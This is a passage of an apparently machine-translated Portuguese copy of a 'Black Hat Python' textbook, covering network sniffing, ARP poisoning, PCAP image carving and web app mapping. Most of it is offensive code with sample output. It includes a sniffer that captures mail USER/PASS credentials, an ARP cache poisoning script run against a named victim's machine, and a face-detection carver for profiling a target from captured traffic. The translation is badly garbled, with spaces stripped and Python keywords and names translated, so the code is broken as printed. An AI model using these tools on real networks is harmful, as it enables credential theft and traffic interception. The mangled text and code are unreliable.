janela
=330
chksum
=0x80a2
urgptr
=0
opes
=[('NOP',None),('NOP',None),('Timestamp',(1960913461,
764897985))]
Nenhum

Comoincrivelmentefcileraisso!Podemosverquequandooprimeiropacotefoirecebidonarede,onosso
funoderetornoutilizadaafunobuiltinpacket.show()paraexibirocontedodopacoteepara
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

33/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

dissecaralgumasdasinformaesdeprotocolo.Usandoshow()umatimamaneiraparadepurarscriptsdecomovocest
indojuntoparasecertificardequevocestcapturandoasadadesejada.
Agoraquetemosonossosnifferfuncionamentobsico,vamosaplicarumfiltroeadicionaralgumalgicaparaonossoretornodechamada
funcionarparadescascarparaforacordasdeautenticaodeemailrelacionado.
descapy.allimport*
#Nossacallbackpacote
packet_callbackdef(pacote):

seopacote.payload[TCP]:
mail_packet=str(packet[TCP].payload)

Seo"usurio"nomail_packet.lower()ou"passar"emmail_packet.lower():
print"[*]Servidor:%s"%packet[IP].dst
print"[*]%s"%packet[TCP].payload

#Fogoatonossosniffer
fungada(filtro="tcpporta110outcpporta25ouTCPporta143",prn=packet_
callback,store=0)

Prettycoisassimplesaqui.Mudamosnossafunofungadaparaadicionarumfiltroqueincluaapenastrfego
destinadoparaasportasdecorreiocomum110(POP3),143(IMAP)eSMTP(25).Nstambmutilizamosum
novoparmetrochamadoloja,quequandodefinidocomo0garantequescapynomanterospacotesno
memria.umaboaidiausaresseparmetrosevocpretendedeixarumlongoprazosnifferrunning
porqueentovocnoestarconsumindograndesquantidadesdeRAM.Quandoanossafunoderetornochamado,
vamosverificarparasecertificardequetemumacargadedadoseseacargatilcontmousuriotpicoou
ComandosPASScorreio.Sedetectarmosumacadeiadeautenticao,nsimprimiroservidorqueestenviando
loparaeosbytesdopacotededadosreais.

Chutarospneus
Aquiestoalgumasexemplodesadaapartirdeumacontadeemailfictciotenteiconectarmeuclientedeemailpara:
[*]Servidor:25.57.168.12
[*]JmsUSURIO
[*]Servidor:25.57.168.12
[*]PASSjustin
[*]Servidor:25.57.168.12
[*]JmsUSURIO
[*]Servidor:25.57.168.12
[*]TestePASS

Vocpodeverqueomeuclientedeemailesttentandofazerlogonnoservidorno25.57.168.12eenviaro
credenciaisdetextosimplessobreofio.Esteumexemplomuitosimplesdecomovocpodetomarumscapy
sniffingroteiroetransformloemumaferramentatilduranteostestesdepenetrao.
Farejandooseuprpriotrfegopodeserdivertido,massempremelhorparafarejarcomumamigo,entovamosdarumaolhada
emcomovocpodeexecutarumataquedeenvenenamentodeARPparacapturarotrfegodeumamquinadedestinonamesma
rede.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

34/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ARPCachePoisoningcomscapy
envenenamentoARPumdosmaisantigostruquesaindamaiseficazesnoconjuntodeferramentasdeumhacker.Muitosimplesmente,ns
vaiconvencerumamquinadedestinoquenostornamosseugateway,evamostambmconvencero
gatewayque,afimdealcanaramquinadedestino,todootrfegotemquepassarporns.Cadacomputadoremum
redemantmumcacheARPquearmazenaosendereosMACmaisrecentesquecorrespondemaoIP
endereosnaredelocal,ensestamosindoparaenvenenarestacachecomentradasquenscontrolamosa
alcanaresteataque.PorqueoAddressResolutionProtocoleARPenvenenamentoemgeral
cobertaemnumerososoutrosmateriais,euvoudeixarparaquevocfaaqualquerinvestigaonecessriaparaentender
comoesteataquefuncionaaumnvelinferior.
Agoraquesabemosoqueprecisamosfazer,vamoscolocloemprtica.Quandoeutesteiisso,euataqueiumverdadeiro
mquinaedoWindowsusadomeuKaliVMcomominhamquinadeatacar.Eutambmtesteiestecdigocontra
vriosdispositivosmveisconectadosaumpontodeacessosemfiosefuncionoumuitobem.Aprimeiracoisa
vamosfazerverificarocacheARPnamquinaWindowsdedestinoparaquepossamosveronossoataqueemao
maistarde.ExamineoseguinteparavercomoinspecionarocacheARPnoseuWindowsVM.
C:\Users\Clare>ipconfig
ConfiguraoIPdoWindows
AdaptadorWirelessLANWirelessNetworkConnection:
ConexoespecficaSufixoDNS.:gateway.pace.com
LinklocalIPv6endereos.....:Fe80::34a0:48cd:579:%a3d911
EndereoIPv4...........:172.16.1.71
Mscaradesubrede...........:255.255.255.0
GatewayPadro.........:172.16.1.254

C:\Users\Clare>arpa
Interface:172.16.1.710xB

EndereoInternet
172.16.1.254
172.16.1.255
224.0.0.22
224.0.0.251
224.0.0.252
255.255.255.255

Endereofsico
3cea4F2b41f9
ffffffffffff
01005e000016
01005e0000fb
01005e0000fc
ffffffffffff

Digitar
dinmico
esttico
esttico
esttico
esttico
esttico

EntoagorapodemosverqueoendereoIPdogatewayestem172.16.1.254eseucacheARPassociada
entradatemumendereoMACde3cea4F2b41f9.Vamostomarnotadestaporquepodemosver
ocacheARP,enquantooataqueestemcursoeverquensmudamosaportadeentradadoregistrado
EndereoMAC.AgoraquesabemosqueogatewayeonossoendereoIPdedestino,vamoscomearacodificaronossoARP
scriptdeenvenenamento.AbraumnovoarquivoPython,chamearper.py,einsiraoseguintecdigo:
descapy.allimport*
importos
sysimportao
rosqueamentodeimportao
sinaldeimportao
interface
="En1"
target_ip
="172.16.1.71"
gateway_ip
="172.16.1.254"
packet_count=1000

#Definirnossainterface
conf.iface=Interface

#Desligarasada
conf.verb=0
print"[*]Configurando%s"interface%
gateway_mac=get_mac(gateway_ip)
segateway_macNone:
print"[!!!]FalhaaoobteroMACdogateway.Saindo."
sys.exit(0)
outro:
print"[*]gateway%sestem%s"%(gateway_ip,gateway_mac)

target_mac=get_mac(target_ip)
setarget_macNone:
print"[!!!]FalhaaoobteroalvoMAC.sair."
sys.exit(0)
outro:
print"[*]Alvo%sestem%s"%(target_ip,target_mac)
#Comearadiscussoveneno
poison_thread=threading.Thread(target=poison_target,args=
(Gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()
experimentar:
print"[*]Apartirsnifferpor%dpacotes"%packet_count

bpf_filter="iphost%s"%target_ip
pacotes=fungada(count=packet_count,filter=bpf_filter,iface=interface)
#Escreverospacotescapturados
wrpcap('arper.pcap',pacotes)

#Restaurararede
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

excetoKeyboardInterrupt:
#Restaurararede
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)

Estaapartedeinstalaoprincipaldonossoataque.ComeamosporresolverogatewayedestinoIP
doendereocorrespondenteendereosMACusandoumafunochamadaget_macquevamossondarembreve.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

35/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Depoisdeterconseguidoisso,nsgirarumsegundothreadparacomearoenvenenamentorealARP
ataque.Emnossosegmentoprincipal,comeamosumsnifferqueircapturarumvalorpredefinidodepacotes
usandoumfiltroBPFparaapenasotrfegodecapturaparaonossoendereoIPdedestino.Quandotodosospacotestenhamsido
capturado,nsescrevlosparaumarquivoPCAPparaquepossamosabrilosnoWiresharkouutilizaronosso
prximoroteiroimagemcarvingcontraeles.Quandooataqueterminado,nschamamosonosso
restore_target funo,queresponsvelporcolocararededevoltaparaaformacomoelefoi
antesqueoenvenenamentoARPocorreu.Vamosadicionarasfunesdeapoioagoraperfurandona
seguintecdigoacimadonossoblocodecdigoanterior:
restore_targetdef(gateway_ip,gateway_mac,target_ip,target_mac):

#Mtodoligeiramentediferenteusandoenviar
print"[*]Restaurandoalvo..."
enviar(ARP(op=2,psrc=gateway_ip,PDST=target_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
enviar(ARP(op=2,psrc=target_ip,PDST=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

#Sinalizaothreadprincipalparasair

get_macdef(ip_address):

os.kill(os.getpid(),signal.SIGINT)

respostas,semresposta=
SRP(ter(dst="ff:ff:ff:ff:ff:ff")/ARP(PDST=ip_address)
timeout=2,repetir=10)
#RetornaroendereoMACdeumaresposta
paraS,Rnasrespostas:
retornor[ter].src
Nenhumvoltar
poison_targetdef(gateway_ip,gateway_mac,target_ip,target_mac):

poison_target=ARP()
poison_target.op
2=
poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac

poison_gateway=ARP()
poison_gateway.op
2=
poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_mac
print"[*]ComeandoovenenoARP.[CTRLCparaparar]"

whileTrue:
experimentar:
enviar(poison_target)
enviar(poison_gateway)
time.sleep(2)
excetoKeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print"[*]ataqueARPvenenoterminado."
Retorna

Entoestaacarneeasbatatasdoataquereal.Nossarestore_targetfunosimplesmenteenvia
ospacotesARPadequadosemissodeendereoderedepararedefiniroscachesARPda
gatewayealvomquinas.Nstambmenviarumsinalparaosegmentoprincipalparasair,oquesertil
NocasodonossosegmentoenvenenamentoexecutadoemumassuntoouvocbaterCTRLCnoseuteclado.nossaget_mac
funoresponsvelpelautilizaodoSRP(enviarereceberpacotes)FunoparaemitirumasolicitaoARP
paraoendereoIPespecificado,afimderesolveroendereoMACassociadoaele.Nosso
poison_targetfunoconstriseARPpedidosparaenvenenartantooalvoIPedaportadeentrada
.PorenvenenandotantoaportadeentradaeodestinoIPendereo,quepodeverotrfegofluindoemeforade
oalvo.NscontinuamosemitindoessasrequisiesARPemumloopparasecertificardequeorespectivoARP
entradasdecachepermanecemenvenenadoparaaduraodonossoataque.
Vamosdarestemeninomauparaumarotao!

Chutarospneus
Antesdecomear,precisoprimeirodizeranossamquinahostlocalquepodemostransmitirpacotesaolongode
ogatewayeoendereoIPdedestino.SevocestnoseuKaliVM,digiteoseguintecomando
emseuterminal:
#:>Echo1>/proc/sys/net/ipv4/ip_forward

SevocumfanboydaApple,emseguida,useoseguintecomando:
fanboy:tmpjustin$sudosysctlwnet.inet.ip.forwarding=1

AgoraquetemosIPencaminhamentonolugar,vamosfogoatonossoroteiroeverificarocacheARPdonosso
mquinadedestino.Apartirdesuamquinadeataque,executeoseguinte(comoroot):
fanboy:tmpjustin$sudopython2.7arper.py
AVISO:NenhumarotaencontradaparaodestinoIPv6::(semrotapadro?)
[*]ConfigurandoEN1
[*]Gateway172.16.1.254estem3c:EA:4F:2b:41:f9
[*]Alvo172.16.1.71de00:22:5F:ec:38:3d
[*]ApartirdovenenoARP.[CTRLCparaparar]
[*]Snifferdepartidapara1000pacotes

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

36/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Impressionante!Nenhumerroououtraestranheza.Agoravamosvalidaroataquenossamquinadedestino:
C:\Users\Clare>arpa
Interface:172.16.1.710xB
EndereoInternet
Endereofsico
172.16.1.64
1040f3ab7102
1040f3ab7102
172.16.1.254
172.16.1.255
ffffffffffff
224.0.0.22
01005e000016
224.0.0.251
01005e0000fb
224.0.0.252
01005e0000fc
255.255.255.255
ffffffffffff

Digitar
dinmico
dinmico
esttico
esttico
esttico
esttico
esttico

agoravocpodeverqueopobreClare(difcilsercasadacomumhacker,Hackin'nofcil,etc.)temagora
seucacheARPenvenenadoondeogatewayagoratemomesmoendereoMACcomooatacante
computador.Vocpodeverclaramentenaentradaacimadaportadeentradaqueeuestouatacandode172.16.1.64.
Quandooataqueacabadocapturadepacotes,vocdeveverumaarper.pcaparquivonomesmodiretrio
comoseuscript.Pode,claro,fazercoisascomoforarocomputadordedestinoparaoproxytodooseutrfego
atravsdeumainstncialocaldoarrotooufazerqualquernmerodeoutrascoisasdesagradveis.Vocpodequererpendurarsobrea
quePCAPparaaprximaseosobreprocessamentodePCAPvocnuncasabeoquevocpodeencontrar!

PCAPProcessing
WiresharkeoutrasferramentascomoRedeMinersograndesparainterativamenteexploraracapturadepacotes
arquivos,mashavermomentosemquevocdesejacortarecortarPCAPsutilizandoPythonescapy.Alguns
grandescasosdeusoestoagerarcasosdetestedefuzzingcombasenotrfegoderedecapturadooumesmoalgo
tosimplescomorepetirotrfegoquevoctenhacapturadoanteriormente.
VamosdarumavoltaumpoucodiferentesobreissoetentaresculpirarquivosdeimagemdeHTTP
trfego.Comestesarquivosdeimagememmos,vamosusarOpenCV,[9]umaferramentadevisoporcomputador,paratentar
detectarimagensquecontmrostoshumanosparaquepossamosdiminuirasimagensquepodemserinteressantes.
PodemosusarnossoscriptenvenenamentoARPanteriorparagerarosarquivosPCAPouvocpodeestendero
ARPenvenenamentosnifferparafazerontheflydetecofacialdeimagensenquantoametaanavegao.Vamos
acomearpelaquedanocdigonecessriopararealizaraanlisePCAP.Abrirpic_carver.pye
insiraoseguintecdigo:
importaore
zlibimport
cv2importao

descapy.allimport*
pictures_directory="/home/justin/pic_carver/imagens"
faces_directory
="/Home/justin/pic_carver/rostos"
pcap_file
="Bhp.pcap"
http_assemblerdef(pcap_file):
carved_images=0
faces_detected=0

A=rdpcap(pcap_file)
sesses

=()a.sessions

paraasessoemsesses:
http_payload=""
parapacotesemsesses[sesso]:
experimentar:
seopacote[TCP].dport==80oupacote[TCP].sport==80:

#Remontarofluxode
http_payload+=str(packet[TCP].payload)
exceto:
passar
headers=get_http_headers(http_payload)
secabealhosNone:

continuar

imagem,image_type=extract_image(cabealhos,http_payload)
seaimagemnonenhumeimage_typenoNone:

#Armazenaraimagem
file_name="%spic_carver_%d.%s"%
(Pcap_file,carved_images,image_type)
fd=open("%s/%s"%
(Pictures_directory,file_name),"wb")

fd.write(imagem)
fd.close()
carved_images+1=

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

37/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
#Agoratentaradetecoderosto
experimentar:
result=face_detect("%s/%s"%
(Pictures_directory,file_name),file_name)

seoresultadoforverdadeiro:
faces_detected+1=
exceto:
passar
voltarcarved_images,faces_detected

carved_images,faces_detected=http_assembler(pcap_file)
impresso"Extrado:%dimagens"%carved_images
print"Detectado:%denfrenta"%faces_detected

Estaaprincipallgicaesqueletodetodoonossoroteiro,evamosadicionarnasfunesdeapoio
Embreve.Paracomear,abraoarquivoPCAPparaprocessamento.Aproveitamosumacaractersticabonitade
ScapyparasepararautomaticamentecadasessoTCPemumdicionrio.Nsusamosissoefiltrarsomente
OtrfegoHTTPe,emseguida,concatenaracargadetodootrfegoHTTPemumnicobuffer.este
efetivamenteomesmoqueclicarcomobotodireitonoWiresharkeselecionandoFollowTCPStream.Depoisdens
terosdadosHTTPremontado,nspasslonossafunodecabealhoHTTPdeanlise,queser
permitirnosparainspecionaroscabealhosHTTPindividualmente.Depoisquevalidarqueestamosrecebendoumaimagem
devoltaemumarespostaHTTP,extramosaimagemcruaeretornarotipodeimagemedocorpobinrio
daprpriaimagem.Estanoumaimagemrotinadeextraoprovadebalas,mascomovocvaiver,elefunciona
surpreendentementebem.Nsarmazenaraimagemextradaedepoispassarocaminhodoarquivojuntoaonossofacial

Rotinadedeteco.
Agoravamoscriarasfunesdeapoio,adicionandooseguintecdigoacimadanossahttp_assembler
funo.
get_http_headersdef(http_payload):
experimentar:
#DividiroscabealhosforaseeleotrfegoHTTP
headers_raw=http_payload[:http_payload.index("\r\n\r\n")+2]

#Quebraroscabealhos
headers=dict(re.findall(r"?(P<'name>*):.?(P<valor>*)\r\n?.?",
headers_raw))
exceto:
Nenhumvoltar
se"ContentType"nonoscabealhos:
Nenhumvoltar
retornarcabealhos
defextract_image(cabealhos,http_payload):
imagem
=None
image_type=None
experimentar:
se"imagem"emcabealhos['ContentType']:

#Agarrarotipodeimagemeimagemcorporal
image_type=cabealhos['ContentType'].split("/")[1]
image=http_payload[http_payload.index("\r\n\r\n")+4:]
#Sedetectarmoscompressodescompactaraimagem
experimentar:
se"ContentEncoding"emheaders.keys():
secabealhos['ContentEncoding']=="gzip":
image=zlib.decompress(imagem,16+zlib.MAX_WBITS)
cabealhoselif['ContentEncoding']=="desinflar":
image=zlib.decompress(imagem)
exceto:
passar
exceto:
voltarNada,Nada

Imagemderetorno,image_type

EssasfunesdeapoionosajudaradarumaolhadamaisdepertoosdadosHTTPquensrecuperadosdenossa
ArquivoPCAP.Oget_http_headersfunorecebeotrfegoHTTPcruedivideoscabealhos
usandoumaexpressoregular.Oextract_imagefunousaoscabealhosHTTPedetermina
serecebemosumaimagemnarespostaHTTP.SedetectarmosqueoContentTypecabealho
contmefectivamenteotipodeimagemMIME,dividimosotipodeimagemesehouvercompresso
aplicadoimagememtrnsito,tentamosdescompactloantesdedevolverotipodeimagemedo
bufferdeimagemcrua.Agoravamoscairemnossocdigodedetecofacialparadeterminarsehumrostohumanoem
qualquerumadasimagensquerecuperados.Adicioneoseguintecdigoparapic_carver.py:
face_detectdef(caminho,file_name):

img
=Cv2.imread(caminho)
cascade=cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects
=Cascade.detectMultiScale(img,1,3,4,cv2.cv.CV_HAAR_
SCALE_IMAGE,(20,20))

iflen(rects)==0:
retornarFalse
rects[:,2:]+=rects[:,:2]

#Destacarosrostosnaimagem
parax1,y1,x2,y2emrects:
cv2.rectangle(IMG,(x1,y1),(X2,Y2),(127,255,0),2)
cv2.imwrite("%s/%s%s"%(faces_directory,pcap_file,file_name),img)
retornarTrue

EstecdigofoigenerosamentecompartilhadosporChrisFidaoemhttp://www.fideloper.com/facialdetection/com
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

38/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ligeirasmodificaesporsinceramente.UsandoasligaesOpenCVPython,podemoslernaimagem
edepoisaplicarumclassificadorquetreinadocomantecednciaparaadetecoderostosemumaviradaparaafrente
orientao.Hclassificadoresdeperfil(delado)dedetecoderosto,mos,frutas,etodaumasrie
deoutrosobjetosquevocpodeexperimentarporsimesmo.Apsadetecofoiexecutado,eleirretornar
Ascoordenadasdoretnguloquecorrespondemaolocalondeacarafoidetectadonaimagem.Emseguida,desenharum
retnguloverderealsobreaquelareaeescreveraimagemresultante.Agoravamosdartudoisso
paradarumavoltadentrodoseuKaliVM.

Chutarospneus
SevocnotiverinstaladopelaprimeiravezasbibliotecasOpenCV,executeosseguintescomandos(maisumavez,obrigado,
ChrisFidao)apartirdeumterminalnoseuKaliVM:
#:>Aptgetinstalaropythonopencvpythonnumpypythonscipy

Issodeveinstalartodososarquivosnecessriosnecessriosparalidarcomadetecofacialemnossasimagensresultantes.
Nstambmprecisamospegaroarquivodetreinamentodedetecofacialassim:
wgethttp://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Agoracrieumpardediretriosparaanossaproduo,cairemumPCAP,eexecutaroscript.Istodeveria
algoparecidocomisto:
#:>Mkdirimagens
#:>Mkdirrostos
#:>Pythonpic_carver.py
Extrado:189imagens
Detectado:32rostos
#:>

VocpodeverumasriedemensagensdeerroqueestosendoproduzidosporOpenCVdevidoaofatodequealgunsdos
imagensforamalimentadasparaelepodeestarcorrompidoouparcialmentebaixadoouseuformatonosejaoferecido.
(Euvoudeixaraconstruodeumaextraodeimagemrobustaerotinadevalidaocomoumaliodecasapara
voc.)Sevoccrackabrirseudiretriorostos,vocdeveverumnmerodearquivoscomrostosemagia
caixasverdesdesenhadaemtornodeles.
Estatcnicapodeserusadoparadeterminarquaisostiposdecontedoseualvoestolhando,bemcomoa
Descubraseaproximaprovavelmenteatravsdeengenhariasocial.Pode,claro,estenderesteexemploparaalm
uslocontraasimagensesculpidasemPCAPseusloemconjuntocomorastreamentodawebeanlise
tcnicasdescritasnoscaptulosposteriores.
[8] http://www.secdev.org/projects/scapy/doc/installation.html#windows
[9] ConfiraOpenCVaqui:http://www.opencv.org/.

Captulohackery5.Web
Analisandoaplicaeswebabsolutamentecrticoparaumatacanteoupenetraotester.Emmaismoderna
redes,aplicaeswebapresentarasuperfciedomaiorataqueeassimtambmsoosmaiscomuns
avenidaparaganharacesso.Humasriedeexcelentesferramentasdeaplicaowebquetenhamsido
escritoemPython,incluindow3af,SqlMap,eoutros.Francamente,temascomoinjeodeSQL
foramespancadosatamorte,eoconjuntodeferramentasdisponveismaduroosuficienteparaquensnoprecisamosdereinventar
aroda.Emvezdisso,vamosexplorarosconceitosbsicosdeinteragircomaWebusandoPython,eentoconstruir
esseconhecimentoparacriarreconhecimentoedeforabrutaferramental.VocvaivercomoanlisedeHTML
podesertilnacriaodeforadoresbrutos,ferramentasdereconhecimentoesitesdetextopesadodeminerao.Aidia
criaralgumasferramentasdiferentesparadarlheashabilidadesfundamentaisquevocprecisaparaconstruirqualquertipodeweb
ferramentadeavaliaodeaplicativoqueoseucenriodeataqueemparticularexige.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

39/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ABibliotecasoquetedaWeb:urllib2
Muitoparecidocomaescritadeferramentasderedecomabibliotecadesoquete,quandovocestcriandoferramentasparainteragircom
serviosweb,vocvaiusarourllib2biblioteca.VamosdarumaolhadafazendoumasolicitaoGETmuitosimples
paraositeNoStarchPress:
urllib2deimportao
corpo=urllib2.urlopen("http://www.nostarch.com")

impressobody.read()

EsteoexemplomaissimplesdecomofazerumasolicitaoGETparaumsite.Estejaconscientedequeestamosapenas
buscarapginarawapartirdositeNoStarch,equenenhumJavaScriptououtrodoladodocliente
lnguasserexecutado.NssimplesmentepassaremumaURLparaourlopenfunoeeleretornaumarquivolike
objetoquenospermitelerdevoltaocorpodoqueosretornosdeservidorwebremoto.Namaioriadoscasos,
noentanto,vocvaiquererumcontrolemaisdetexturafinasobrecomovocfazeressassolicitaes,
inclusivesendocapazdedefinircabealhosespecficos,lidarcomcookies,ecriarsolicitaesPOST.urllib2
expeumPedidodeclassequelhedessenveldecontrole.Abaixoestumexemplodecomocriar
omesmopedidoGETutilizandooPedidodeclasseedefinirumcabealhoHTTPpersonalizadoUserAgent:
urllib2deimportao
url="http://www.nostarch.com"

cabealhos={}
cabealhos['UserAgent']="Googlebot"
pedido=urllib2.Request(url,headers=cabealhos)
resposta=urllib2.urlopen(request)
response.readprint()
response.close()

AconstruodeumPedidoobjectoligeiramentediferentedoqueonossoexemploanterior.Paracriar
cabealhospersonalizados,vocdefineumdicionriocabealhos,oquelhepermite,emseguida,definirachavedecabealhoe
valorquevocdesejausar.Nestecaso,vamosfazeronossoscriptPythonparecesero
Googlebot.Emseguida,criamosonossoPedidoobjetoepassarnaurleoscabealhosdicionrio,
e,emseguida,passaroPedidodeobjetoparaourlopenchamadadefuno.Issoretornadearquivoscomoumnormal,
objetoquepodemosusarparalerosdadosapartirdositeremoto.
Nsagoratemososmeiosfundamentaisparaconversarcomservioswebesites,entovamoscriaralgumtil
ferramentalparaqualquerataquedeaplicaesweboutestedepenetrao.

InstalaesmapeamentoOpenSourceWebApp
sistemasdegestodecontedoeplataformasdeblogscomoJoomla,WordPresseDrupalfazer
iniciarumnovoblogousitesimples,eelessorelativamentecomunsemumambientedehospedagemcompartilhada
oumesmoumaredecorporativa.Todosossistemastmosseusprpriosdesafiosemtermosdeinstalao,
configuraoegerenciamentodepatches,eestassuitesCMSnosoexcepo.Quandoumexcessodetrabalho
sysadminouumdesenvolvedorwebinfeliznoseguetodososprocedimentosdeseguranaedeinstalao,elepode
serpresasfceisparaumatacanteparaobteracessoaoservidorweb.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

40/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Porquenspodemosfazerdownloaddequalqueraplicativodeorigemwebabertaelocalmentedeterminaroseuarquivoe
estruturadediretrios,podemoscriarumscannerbuiltpropsitoquepodecaarparatodososarquivosquesoacessveis
nodestinoremoto.Issopodeerradicararquivosdeinstalaodesobra,diretriosquedevemserprotegidos
por.htaccessarquivos,eoutrascoisasquepodemajudarumatacantenaobtenodeumpontodeapoionaweb
servidor.EsteprojetotambmlheensinacomoutilizarPythonQueueobjetos,quenospermitemconstruirum
grandes,threadsafepilhadeitensetervriossegmentospegaritensparaprocessamento.Istoirpermitir
nossoscannerparaexecutarmuitorapidamente.Vamosabrirweb_app_mapper.pyeinsiraoseguintecdigo:
Filadeimportao
rosqueamentodeimportao
importos
urllib2deimportao
tpicos

=10

alvo
="Http://www.blackhatpython.com"
directory="/Users/justin/Downloads/joomla3.1.1"
filtros
=[".jpg",".Gif","png",".Css"]
os.chdir(diretrio)

web_paths=Queue.Queue()
parar,d,femos.walk("."):
paraarquivosemf:
remote_path="%s/%s"%(r,arquivos)
Seremote_path.startswith("."):
remote_path=remote_path[1]:
seos.path.splitext(arquivos)[1]noporfiltros:
web_paths.put(remote_path)

test_remotedef():
enquantonoweb_paths.empty():
path=web_paths.get()
url="%s%s"%(meta,path)
request=urllib2.Request(url)
experimentar:
response=urllib2.urlopen(request)
content=response.read()

print"[%d]=>%s"%(response.code,path)
response.close()
exceptourllib2.HTTPErrorcomoerro:
#print"Falhou%s"%error.code
passar

parainoalcance(threads):
print"threadPiracema:%d"%i
t=threading.Thread(target=test_remote)
t.start()

Comeamospordefinirositededestinoremotoeodiretriolocalnoqualtemos
downloadeextraiuoaplicativoweb.Nstambmcriarumasimpleslistadeextensesdearquivoque
Noestamosinteressados
emfingerprinting.Estalistapodeserdiferente,dependendodoaplicativodedestino.o

web_pathsvarivelanossafiladeobjeto,ondensvaiarmazenarosarquivosquevamostentarparalocalizar
noservidorremoto.Emseguida,usamosoos.walkfunoparapercorrertodososarquivose
diretriosnodiretriodoaplicativoweblocal.medidaquecaminhamosatravsdosarquivosediretrios,
nsestamosconstruindoocaminhocompletoparaosarquivosdedestinoetestlascontraanossalistadefiltrosparagarantirquens
estolhandoapenasparaostiposdearquivoquequeremos.Paracadaarquivovlidoencontramoslocalmente,nsadicionloaonosso
web_pathsQueue.
Olhandoparaaparteinferiordoscript,estamosacriarumasriederoscas(comodefinidonotopodo
arquivo)quecadaumdelesserchamadootest_remotefuno.Otest_remotefunooperaemum
loopqueirmanterexecuoatqueoweb_pathsQueueestvazio.Emcadaiteraodoloop,ns
agarrarumcaminhodafilade,adicionloaocaminhobasedositededestino,eemseguida,tentarrecuperlo.
Seformosbemsucedidosemrecuperaroarquivo,asadadocdigodestatusHTTPeocaminhocompletoparaoarquivo
.Seoarquivonoencontradoouestprotegidoporum.htaccessarquivo,esteircausarurllib2paralanarum
erro,quelidamoscomparaqueolooppodecontinuaraexecuo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

41/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Parafinsdeteste,euinstaleioJoomla3.1.1nomeuKaliVM,masvocpodeusarqualquerwebdecdigoaberto
aplicativoquevocpodeimplantarrapidamenteouquevocjemexecuo.Quandovocexecuta
web_app_mapper.py,vocdeveverasadacomoaseguinte:
roscadedesova:0
roscadedesova:1
roscadedesova:2
roscadedesova:3
roscadedesova:4
roscadedesova:5
roscadedesova:6
roscadedesova:7
roscadedesova:8
roscadedesova:9
[200]=>/htaccess.txt
[200]=>/web.config.txt
[200]=>/LICENSE.txt
[200]=>/README.txt
[200]=>/administrator/cache/index.html
[200]=>/administrator/components/index.html
[200]=>/administrator/components/com_admin/controller.php
[200]=>/administrator/components/com_admin/script.php
[200]=>/administrator/components/com_admin/admin.xml
[200]=>/administrator/components/com_admin/admin.php
[200]=>/administrator/components/com_admin/helpers/index.html
[200]=>/administrator/components/com_admin/controllers/index.html
[200]=>/administrator/components/com_admin/index.html
[200]=>/administrator/components/com_admin/helpers/html/index.html
[200]=>/administrator/components/com_admin/models/index.html
[200]=>/administrator/components/com_admin/models/profile.php
[200]=>/administrator/components/com_admin/controllers/profile.php

Vocpodeverqueestamospegandoalgunsresultadosvlidos,incluindoalguns.TxtearquivosXML.Do
Claro,vocpodeconstruiraintelignciaadicionalnoscriptparaarquivosquevocestinteressadoemretornarsomente
talcomoaquelescomapalavrainstalarneles.

DiretrioselocalizaesdearquivoBruteForando
Oexemploanteriorassumeummontedeconhecimentosobreoseudestino.Mas,emmuitoscasosemquevocest
atacarumaplicativowebpersonalizadoousistemadeecommercegrande,vocnovaiestarcientedetodosos
arquivosacessveisnoservidorweb.Geralmente,vocvaiimplantarumaaranha,comoaqueestincludano
